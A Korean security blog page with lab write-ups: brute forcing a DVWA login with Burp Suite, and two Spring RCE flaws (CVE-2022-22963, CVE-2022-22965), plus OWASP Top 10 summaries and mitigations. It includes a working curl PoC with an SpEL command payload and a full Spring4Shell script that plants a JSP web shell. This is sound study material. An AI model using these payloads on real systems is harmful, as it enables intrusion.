1. Brute Force Attack

- 무작위 대입 공격

- 인증 정보를 알아내기 위해 공격자가 반복적으로, 체계적으로 매번 다른 계정과 비밀번호를 입력하는 공격

- 자동화된 툴이나 스크립트를 사용해 인증 정보를 회득할 때 까지 가능한 모든 조합을 대입

- 일반적으로 하나의 계정에 다수의 비밀번호 대입

- OWASP Top 10 2017에서 A2. 취약한 인증으로 제시되었으며, 2021에서는 A7.Identification and Authentication Failures로 제시됨

[사진 1] OWASP Top 10 2017(좌) OWASP Top 10 2021(우)

1.1 공격 원리

- 조합 가능한 모든 문자열을 순차적으로 하나씩 모두 대입

 

[사진 2] Brute Force Attack 공격 원리

1.2 공격 기법

공격명 설명
무차별 대입 공격
(Brute-Force Attack) 
- 조합 가능한 모든 문자열을 순차적으로 하나씩 모두 대입
역 무차별 대입 공격
(Reverse Brute-Force Attack) 
- 하나의 비밀번호에 다수의 계정을 대입
- 특정인의 계정을 탈취하고자할 때 자주 사용
사전 공격
(Dictionary Attack)
- 미리 정의된(or 가능성 있는) 문자열 목록을 대입
- 공격에 소요되는 시간을 즐이는 동시에 공격 성공률을 높일 수 있음
레인보우 테이블 공격
(Rainbow Table Attack)
- 레인보우 테이블 : 해시함수를 사용하여 만들어낼 수 있는 값들을 저장한 표
- 평문 비밀번호와 각 비밀번호의 해시값이 저장된 사전(레인보우 테이블)을 사용해 해싱 함수를 반대로 되돌려 비밀번호 유추

 

2. 공격 실습

2.1 Brute Force

[사진 3] Login Form

- 버프 슈트 실행 및 Username과 Password 입력 후 로그인 시도

- 버프 슈트에 의해 캡쳐된 패킷을 Intruder로 보냄(Intruder : 사용자가 정의한 자동화 공격을 수행하기 위한 도구)

[사진 4] 버프 슈트

- Intruder 탭 Position(페이로드 구성 설정)에서 [사진 5]와 같이 §로 감싸진 부분이 페이로드이며, password 페이로드만을 §로 감싸줌 (Clear§>password 페이로드 선택>add§)

- password 값만 변경하면서 지속적으로 대입

[사진 5] Intruder

- 그 후 Payloads(페이로드 환경 설정)에서 Payload Sets, Payload Options 값을 설정한 후 Start attack으로 공격 시작

[사진 6] 페이로드 설정

- [사진 6]에서 설정한 옵션에 따라 무작위 대입 공격이 수행

- DVWA에서는 로그인 성공과 실패 시 페이지 내용이 상이하므로 응답 크기(Length)가 다른 것이 공격에 성공한 요청

[사진 7] 공격 수행

2.2 Dictionary Attack

- Payloads(페이로드 환경 설정)에서 Payload Sets, Payload Options 값을 설정한 후 Start attack으로 공격 시작

- Payload Options은 Load로 파일을 불러올 수 있으며, Add로 직접 입력할 수도 있음

[사진 8] 페이로드 설정

- 비밀번호가 password일 경우 Length 값이 다르게 나타나며, Response 확인 시 admin으로 로그인에 성공한 것을 확인 가능

- 따라서, admin 계정의 비밀번호는 password임을 알 수 있음

[사진 9] password

3. DVWA의 Brute Force Attack 대응

3.1 Low 단계

- Brute Force Attack에 대한 대응이 설정 되어있지 않음

 

3.2 Medium 단계

- 로그인 실패 시 2초간 시간 지연을 설정되어 있으나, 매우 짧은 시간임

- 자동화된 Brute Force Attack의 시간을 지연시켜 공격의 속도를 더디게 만들기 위함

[사진 10] sleep(2)

 

3.3 High 단계

- 로그인 실패 시 0~3초의 랜덤한 시간 지연을 설정되어 있으나, 매우 짧은 시간임

- 자동화된 Brute Force Attack의 시간을 지연시켜 공격의 속도를 더디게 만들기 위함

[사진 11] sleep(rand(0,3))

 

3.4 Impossible 단계

- 로그인 실패와 관련된 변수를 선언

[사진 12] 로그인 실패 관련 변수

- 다수 로그인 실패(3회)시 계정을 잠금 설정(15분간)

[사진 13] echo

- 로그인 실패 시 출력되는 메시지

[사진 14] 계정 잠김

 

4. 대응방안

- [사진 ]에서 확인되는것 처럼 password, 123456 등 간단하며 유추하기 쉬운 비밀번호가 다수 사용됨

[사진 15] 2021년 한 해 동안 전 세계에서 가장 많이 사용된 비밀번호 순위

 

- Brute Force Attack에 대응방안은 [사진 16]과 같음

[사진 16] 대응 방안

'취약점 > 기타' 카테고리의 다른 글

Deface Attack_중국 샤오치잉 해킹 그룹  (0) 2023.04.10
IFS(Internal Field Separator) String  (0) 2023.02.01
DNS Zone Transfer  (0) 2022.12.07
TLS OpenSSL HeartBleed Vulnerability(CVE-2014-0160)  (0) 2022.09.29
robots.txt  (0) 2022.08.30

1. 스프링 클라우드 (Spring Cloud)

-  분산/버전관리, 서비스 등록 및 검색 가능, 라우팅, 서비스간 호출, 부하분산, 회로차단기, 분산메세지 등의 기능을 사용할 수 있는 도구

- Spring Framework : 자바 플랫폼을 위한 오픈 소스 애플리케이션 프레임워크

 

1.1 SpEL(Spring Expression Language)

- 보통 객체를 조회하고 조작하는 기능을 제공하며, 메소드 호출, 문자열 템플릿 기능 등의 여러가지 추가 기능을 제공
- Spring 프로젝트 전반에 걸쳐 사용하기 위해 만들어졌으며 스프링 3.0부터 지원
- 표기법 : #{SpEL표현식}

 

2. CVE-2022-22963 

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-22963

- Spring Cloud Function의 라우팅 기능을 사용할 때 입력값 검증이 불충분하여 원격 코드 실행 및 로컬 리소스에 액세스가 가능하게되는 취약점 (CVSS 9.8점)

취약한 버전 : Spring Cloud Function 3.2.2 및 3.1.6 이전 버전
※ 취약점이 해결된 버전 제외(3.1.7, 3.2.3 업데이트 버전 제외)

원인 : Cloud Function에서 입력된 매개변수에 대한 검증 미흡

결과 : Spring.cloud.function.routing-expression HTTP 헤더를 통해 임의의 코드를 SpEL(Spring Expression Language)에 전달해 공격자가 원하는 명령 실행 가능

 

2.1 공격원리

- HTTP 요청 헤더 spring.cloud.function.routing-expression매개변수와 SpEL 표현식을 사용하여 조작된 입력값을 전송 및 임의의 명령 실행

[사진 2] 공격 원리

 

2.2 취약점 상세

- 취약 서버 구동

git clone https://github.com/darryk10/CVE-2022-22963
docker run -it -d -p 8080:8080 bobcheat/springboot-public

[사진 3] 취약 서버 구동

- 취약한 버전의 Spring Cloud Function 확인

[사진 4] Spring Cloud Function Version 3.1.6

- Spring Cloud Function이 설치된 루트 디렉터리 하위에 불필요한 파일이 존재하지 않음

[사진 5] 루트 디렉터리

- PoC 수행

curl -X POST  http://192.168.56.107:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v

[사진 6] PoC 수행

 

- 결과 확인

[사진 7] /tmp/pwned 파일 생성

- 와이어샤크 확인 시 500 응답값이 확인

- 구글 조회 시 해당 요청은 서버에서 500 응답을 반환하지만 코드는 실행된다고 확인되는데 이유는 정확히 모르겠음

[사진 8] 와이어샤크

3. 대응방안

3.1 서버 측면

① Spring-Cloud-Function의 버전 정보를 확인하여 취약점이 패치된 버전으로 업그레이드 적용

- 취약점 패치 버전 : Spring Cloud Function 3.1.7, 3.2.3

- 취약점이 패치된 버전에서는 헤더 콘텐츠를 구문 분석하기 전에 유효성 검사를 수행하기 위해 isViaHeader 추가

[사진 9] 보안 패치

- Maven으로 패키징된 경우 확인 명령 : pom.xml 파일에서 버전 확인

[사진 10] Spring Cloud Function 버전 확인

- Spring Cloud Function 버전 확인 명령 : grep-A 2'spring-cloud-function-context'pom.xml

 

3.2 네트워크 측면

① 보안 솔루션에 Snort 룰, YARA 룰 등 탐지 및 차단 정책 설정

alert tcp any any -> any any (msg:"Spring4Sell CVE-2022-22963"; content:"functionRouter"; nocase;)

 

② 로그 모니터링 후 관련 IP 차단

③ IoC 침해지표 확인

 

4. 참조

- https://hub.docker.com/r/dockerbucket/cve-2022-22963

- https://sysdig.com/blog/cve-2022-22963-spring-cloud/

- https://nvd.nist.gov/vuln/detail/CVE-2022-22963

- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66592&queryString=cGFnZT0xOCZzb3J0X2NvZGU9JnNvcnRfY29kZV9uYW1lPSZzZWFyY2hfc29ydD10aXRsZV9uYW1lJnNlYXJjaF93b3JkPQ==

1. Spring Framework

- 자바 플랫폼을 위한 오픈 소스 애플리케이션 프레임워크
- 애플리케이션을 개발하기 위한 모든 기능을 종합적으로 제공하는 솔루션

 

2. CVE-2022-22965

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2022-22965

- JDK 9 이상의 Spring 프레임워크에서 RCE가 가능한 취약점 (CVSS 9.8점)
- 2010년에 스프링 프레임워크에서 발견된 취약점이 Class.classLoader를 사용하여 발생하였는데, 이번 JDK 9 버전 이상에서 'class.module.classLoader'로 우회
- 매개변수 바인딩 과정에서 'class' 라는 특수한 변수가 사용자에게 노출되어 'classLoader' 에 접근할 수 있을때 발생
① 사용자가 전달한 매개변수를 POJO에 바인딩하기 위해 "getBeanInfo" 메소드 호출
② 이때, stopClass를 지정하지 않을 시, 상위 클래스에 대한 속성 값도 함께 반환
③ 'class.module.classLoader'를 사용할 수 있게 됨

- 취약 조건
① JDK 9 이상
② Apache Tomcat 서버
③ Spring Framework 버전 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전
④ spring-webmvc 또는 spring-webflux 종속성
⑤ WAR 형태로 패키징
- 결과
'class' 객체가 외부에 노출되어 원격의 공격자는 해당 class를 이용해 RCE가 가능해짐

 

2.1 공격원리

- HTTP 요청 메세지에 웹쉘을 생성하는 페이로드를 전송 후 해당 웹쉘에 명령을 전송

[사진 2] 공격 원리 (https://hagsig.tistory.com/107)

 

2.2 취약점 상세

- 취약한 서버 구동

git clone https://github.com/reznok/Spring4Shell-POC
cd /Spring4Shell-POC
docker build . –t spring4shell && docker run –p 8080:8080 spring4shell

[사진 3] 취약 서버 환경 구동

- 도커 컨테이너가 정상적으로 실행되었는지 확인

[사진 4] 취약 서버 웹페이지


- 원격의 공격자는 대상 URL에 대하여 익스플로잇

[사진 5] 익스플로잇 1
[사진 6] 익스플로잇 1 패킷


- 이후, http://도메인 주소:8080/shell.jsp?cmd=id 명령어 입력 시 다음의 결과가 확인

[사진 7] 익스플로잇 2 성공
[사진 8] 익스플로잇 2 패킷


- 또한, 버프스위트를 통해 요청 값을 변조하여 공격 가능

[사진 9] 익스플로잇 3
[그림 10] 익스플로잇 8 패킷

- [그림 10] 200 응답을 받았으나, [그림 11]에서 해당 경로로 접근하여 RCE 결과 404 응답 (정확한 사유를 모르겠음)

[그림 11] 404 응답

 

2.2 PoC 분석

# Author: @Rezn0k
# Based off the work of p1n93r

import requests
import argparse
from urllib.parse import urlparse
import time

# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()

post_headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

get_headers = {
    "prefix": "<%",
    "suffix": "%>//",
    # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
    "c": "Runtime",
}


def run_exploit(url, directory, filename):
    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

    # Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
    # If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
    file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Change the tomcat log location variables
    print("[*] Modifying Log Configurations")
    ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Changes take some time to populate on tomcat
    time.sleep(3)

    # Send the packet that writes the web shell
    ret = requests.get(url, headers=get_headers, verify=False)
    print("[*] Response Code: %d" % ret.status_code)

    time.sleep(1)

    # Reset the pattern to prevent future writes into the file
    pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)


def main():
    parser = argparse.ArgumentParser(description='Spring Core RCE')
    parser.add_argument('--url', help='target url', required=True)
    parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
    parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
                        required=False, default="webapps/ROOT")

    file_arg = parser.parse_args().file
    dir_arg = parser.parse_args().dir
    url_arg = parser.parse_args().url

    filename = file_arg.replace(".jsp", "")

    if url_arg is None:
        print("Must pass an option for --url")
        return

    try:
        run_exploit(url_arg, dir_arg, filename)
        print("[+] Exploit completed")
        print("[+] Check your target for a shell")
        print("[+] File: " + filename + ".jsp")

        if dir_arg:
            location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
        else:
            location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id"
        print(f"[+] Shell should be at: {location}?cmd=id")
    except Exception as e:
        print(e)


if __name__ == '__main__':
    main()


- 해당 PoC에서 핵심인 부분은 def run_exploit() 부분

    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
파라미터 데이터 설명
class.module.classLoader.resources.context.parent.pipeline.first.pattern %25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%
5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di
실제 페이로드
class.module.classLoader.resources.context.parent.pipeline.first.suffix .jsp 확장자
class.module.classLoader.resources.context.parent.pipeline.first.directory webapps/ROOT 악의적인 파일이 위치할 디렉터리
class.module.classLoader.resources.context.parent.pipeline.first.prefix shell 생성할 파일의 이름을 설정
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat 공란 로그에 대한 날짜 형식이 설정

 

3. 대응방안

3.1 서버측면

① JDK 버전 확인
- “java -version” 명령 입력

② Spring 프레임워크 사용 유무 확인
- 프로젝트가 jar, war 패키지로 돼 있는 경우 zip 확장자로 변경하여 압축풀기
- “spring-beans-.jar”, “spring.jar”, “CachedIntrospectionResuLts.class” 검색
- find . -name spring-beans*.jar

③ 최신버전으로 업데이트 적용
- 신규 업데이트가 불가능할 경우 프로젝트 패키지 아래 해당 전역 클래스 생성 후 재컴파일(테스트 필요)

import org.springwork.core.Ordered;
import org.springwork.core.annotation.Order;
import org.springwork.web.bind.WebDataBinder;
import org.springwork.web.bind.annotation.ControllerAdvice;
import org.springwork.web.bind.annotation.InitBinder;
 
@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {
@InitBinder
public setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);
}
}

 

3.2 네트워크 측면

① 보안 솔루션에 Snort 룰, YARA 룰 등 탐지 및 차단 정책 설정

alert tcp any any -> any any (msg:"Spring4Sell CVE-2022-22965"; content:"class.module.classLoader"; nocase;)


② 로그 모니터링 후 관련 IP 차단

③ IoC 침해지표 확인

 

4. 참고

https://www.hahwul.com/2022/04/05/spring4shell/
https://github.com/reznok/Spring4Shell-POC
https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66592&queryString=cGFnZT0yJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PXRpdGxlX25hbWUmc2VhcmNoX3dvcmQ9

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14

[캡쳐 1] https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/

서버 측 요청 변조(Server-Side Request Forgery, SSRF)는 2021년에 신설된 항목이다. SSRF는 서버 측에서 위조된 요청을 보내도록 하는 취약점이다. 애플리케이션이 사용자 제공 데이터에 대해 적절한 검증 없이 사용할 경우 서버로 하여금 공격자가 강제한 제어 동작을 수행하게 된다.

대응방안으로는 클라이언트가 제공한 입력값을 검증하도록 하고, 클라이언트 요청에 대한 응답을 전송하기 전에 서버측에서 결과를 검증한다. 또한, 방화벽을 통해 접근제어 규칙을 적용하여 네으퉈크단에서 필터링을 수행한다.

 

취약점 유형

사용자 입럭 데이터에 대한 적절한 검증없이 로컬 혹은 원격 리소스에 접근하도록 하는 경우

 

공격 시나리오

추후 업로드 예정

 

대응방안

내부 네트워크간 통신의 경우에도 방화벽을 통해 접근통제 규칙을 적용
모든 사용자 입력 데이터에 대한 검증
클라이언트 요청 수행 후 응답에 대해 서버측 결과 검증

[캡쳐 1]&nbsp;https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/

보안 로깅 및 모니터링 오류(Security Logging and Monitoring Failures)는 OWASP TOP 10 2017에서는 A10로 소개된 불충분한 로깅 및 모니터링(Insufficient Logging & Monitoring) 항목으로 변경되었다.

적절한 로깅과 모니터링이 부재할 경우 침해(공격)을 감지 및 대응하지 못하기 때문에, 데이터 유출 시 공격자의 접근 경로나 유출된 데이터 항목에 대한 확인이 불가하며, 이에 대한 조치 또한 불가하게 된다.

대응 방안으로는 모든 로그인 시도, 데이터 접근 시도 등을 로깅으로 기록하고, 이를 주기적으로 모니텅링하며, 백업하여 보관한다. 또한, 인가된 접근과 비인가 접근에 대해 탐지 및 대응할 수 있도록 지속적인 모니터링을 수행한다.

 

취약점 유형

로그인, 접근 시도 등 중요한 기능에 대한 로깅이 없는 경우
로깅은 생성하나 불명확하거나 부정확한 로깅을 생성하는 경우
로깅 및 모니터링이 존재하나 필요 영역에 대해 불명확한 로깅 및 모니터링이 수행되는 경우
로깅에 대한 백업 절차가 없는 경우

 

공격 시나리오

적절한 로깅이나 모니터링이 없어 데이터가 유출된 후 뒤늦게 인지하고 조치를 수행하거나, 혹은 데이터 유출이 발생한지에 대해 인지하지 못할 가능성 또한 존재한다.

 

대응방안

모든 로그인, 접근 제어, 인증 실패에 대해 로깅을 생성하고, 백업을 수행
로그 관리 솔루션 등을 사용해 로깅이 적절히 생성되는지 확인
모니터링을 통해 비인가 접근 및 의심 행위에 대한 신속한 탐지 및 대응
침해 사고 대응 및 복구 계획 수립

[캡쳐 1]&nbsp;https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/

소프트웨어 및 데이터 무결성 오류(Software and Data Integrity Failures)는 OWASP TOP 10 2017에서는 A08로 소개된 안전하지 않은 역직렬화(Insecure deserialization)를 포함해 2021에서 신설된 항목이다.

애플리케이션이 신뢰할 수 없는 소스, 저장소 및 CDN의 플러그인, 라이브러리 또는 모듈에 의존하는 경우 발생할 수 있다. 충분한 무결성 검증 없이 수행되는 자동 업데이트 기능을 악용해 공격자가 직접 업데이트를 업로드해 조작된 파일을 배포하고 설치, 실행 할 수 있다. 

대응 방안으로는 신뢰할 수 있는 라이브러리를 사용하고, 전자서명이나 해시를 통해 무결성을 확인한다. 또한, CI/CD(Continuous Integration/Continuous Deliver_지속적 통합/지속적 제공) 파이프라인의 경우 개발 및 배포 과정에서 변조되면 무결성이 훼손될 가능성이 있으므로, 무결성 검증 과정을 추가해야한다.

 

취약점 유형

사용중인 라이브러리에 무결성 검증 기능이 없어 변조가 가능한 경우
업데이트에 대한 검증이 없는 경우 - 공급망 공격 가능
CI/CD 파이프라인에 대한 보안성 검토가 부족하거나 없는 경우
직렬화된 데이터에 대한 무결성 검증이 없는 경우

 

공격 시나리오

공격자는 공급망 공격(시스템 및 데이터에 접속할 수 있는 외부 협렵업체나 공급업체를 통해 시스템에 침투하여 합법적인 앱 감염 후 멀웨어 배포)을 통해 시스템을 장악한 후 인증서 탈취, 코드 패치, 업데이트 위장 등의 방식으로 악성코드를 업로드할 수 있다. 악성코드는 정상 파일로 위장되어 배포되고, 사용자들이 이를 다운로드하면서, 악성코드 감염 및 추가 공격을 수행할 수 있다.

 

대응방안

전자서명, 해시 알고리즘을 통한 무결성 검증
사용중인 라이브러리에 대한 신뢰성 확인 및 중요한 서비스일 경우 내부 라이브러리 사용
CI/CD 파이프라인에 대한 보안성 검토
직렬화된 데이터에 대한 무결성 검증 수행

[캡쳐 1] https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/

식별 및 인증 실패(Identification and Authentication Failures)는 OWASP TOP 10 2017에서는 A02으로 소개된 취약한 인증(Broken Authentication)를 포함해 2021에서는 A07로 소개되었다. 2017 대비 조금 더 넓은 의미를 포함한다.

대응 방안으로는 2중 인증을 구현하고, 비밀번호 설정 정책을 적용하고, 다수 로그인 실패 시 계정 잠금을 통해 지속적인 비인가 로그인 시도를 예방한다. 임의의 랜덤한 값으로 세션 ID를 생성해 부여하고, 암호화된 채널을 통해 전송 및 세션 ID를 재사용하지않고 폐기해야 한다.

 

취약점 유형

유효한 계정 목록을 가지고 있는 경우 Brute Forcing 등 자동화된 공격을 시도, 허용하는 경우
기본 계정 정보를 사용하는 경우
다중 인증이 존재하지 않는 경우
URL에 세션 ID를 노출하는 경우(GET Method)
세션 ID를 재사용하거나 만료된 세션 ID를 파기하지 않는 경우

 

공격 시나리오

유효한 계정 목록을 가진 공격자는 자동화 툴을 사용해 Brute Force 공격을 시도할 수 있고, 이때 , admin/admin 등 기본 계정 정보나 잘 알려진 계정 정보를 사용하고 있는 경우 공격자는 계정을 탈취해 임의의 명령을 수행하는 등 악의적인 행위를 수행할 수 있다.

 

대응방안

다중 인증 구현
기본 계정 정보를 사용 금지
안전한 패스워드 설정 정책 생성 및 인증 실패 횟수 제한 적용
임의의 랜덤한 세션 ID 생성, 암호화 채널 등 안전한 전송 수단을 통한 전송 및 재사용 금지와 만료된 세션 ID 파기 

[캡쳐 1] https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/

취약하고 오래된 구성 요소(Vulnerable and Outdated Components)는 취약한 버전이나 EoS, EoL(기술 지원 종료)인 소프트웨어를 계속 사용하는 경우 발생가능한 유형이다. 서비스를 구성하는 모든 요소(OS, WEB, DB, API 등)가 영향을 받는다.

대응방안으로는, 형상관리를 통해 불필요한 서비스를 제거하고, 버전 정보를 확인하여 최신 버전으로 업데이트를 적용한다. 또한, 모니터링을 통해 취약점이 발생한 버전을 확인하여 조치한다. 추가적으로, 애플리케이션 또는 포트폴리오의 수명 주기 동안 업데이트 또는 구성 변경을 모니터링, 분류 및 적용하기 위한 지속적인 계획을 수립해야 한다.

 

취약점 유형

기술 지원 종료된 OS를 사용하는 경우
취약점이 존재하는 애플리케이션, 프레임워크, 라이브러리 등을 사용하는 경우

 

공격 시나리오

[캡쳐 2] Apache struts 2 취약점(CVE-2018-11776)

취약한 버전의 아파치 스트럿츠 2(Apache struts 2)를 사용하고 있는 경우, 원격의 공격자가 서버를 공격해 원격코드를 실행할 수 있다.

 

대응방안

불필요한 소프트웨어나 서비스, 기능, 문서 등 제거
패치 관리, 형상 관리 프로세스 정립 - 소프트웨어 버전 확인 및 업그레이드
 취약점 모니터링을 통한 취약한 소프트웨어 사용 유무 확인

+ Recent posts